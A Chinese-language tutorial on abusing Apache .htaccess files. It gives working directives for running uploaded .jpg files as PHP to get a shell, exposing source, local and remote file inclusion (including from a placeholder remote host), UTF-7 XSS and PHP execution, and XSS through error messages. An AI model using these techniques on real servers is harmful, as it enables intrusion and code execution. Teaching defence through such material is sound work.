作者:小刚
一位苦于信息安全的萌新小白帽,记得关注给个赞,谢谢
本实验仅用于信息防御教学,切勿用于其它用途
Apache服务器.htaccess利用
了解.htaccess
.htaccess文件是Apache的一个配置文件(没有文件名,只有一个后缀),他是改变某一目录单独的配置。
通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
利用方式
通过文件上传方式,上传.htaccess文件到Apache服务器
通过文件写入方式,写入配置代码到.htaccess文件
实现效果
在.htaccess文件中写入以下内容
1.改变文件解码方式
AppType application/x-httpd-php .jpg
经常使用在文件上传中,指定jpg后缀的文件为php解码方式。上传jpg的图片马,自动解析为php文件,即可实现getshell。
2.源码公开
php_flag engine 0
当.htaccess配置源码公开,将会在浏览器返回php源码内容。
3.文件包含与代码执行
php_value auto_append_file D:/123.txt
在打开index.php的同时会自动包含指定文件
文件包含会将被引用的文件当做php文件解码。
php_value auto_append_file .htaccess
#<?php phpinfo();?>
包含.htaccess自身,同时执行PHP代码,实现php代码执行
4.远程文件包含与代码执行
php_flag allow_url_include 1
#php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==
php_value auto_append_file data://text/plain,%3C%3Fphp+phpinfo%28%29%3B
#php_value auto_append_file http://www.xxx.com/zzz.txt
将此目录下的远程文件包含配置打开,通过不同的远程包含方式包含目标文件,被引用的文件当做php文件执行。(#井号后为注释)
5.UTF-7编码实现XSS和PHP代码执行
php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"
php_value auto_append_file .htaccess
#+ADw-script+AD4-alert(/xss/)+ADsAPA-/script+AD4
#+ADw?php phpinfo()+ADs
设置编码方式,文件包含自身,将代码解码后实现xss和php代码执行(后两句为utf-7编码后的xss语句和php语句)
6.通过错误消息链接进行XSS
当php文件产生错误信息时候会触发xss
php_flag display_errors 1
php_flag html_errors 1
php_value docref_root "'><script>alert(/xss/);</script>"
总结
.htaccess利用方式多种多样,控制了它相当于控制了半个Apache服务器。
防护措施就是做好文件上传防护措施,防止对文件的修改。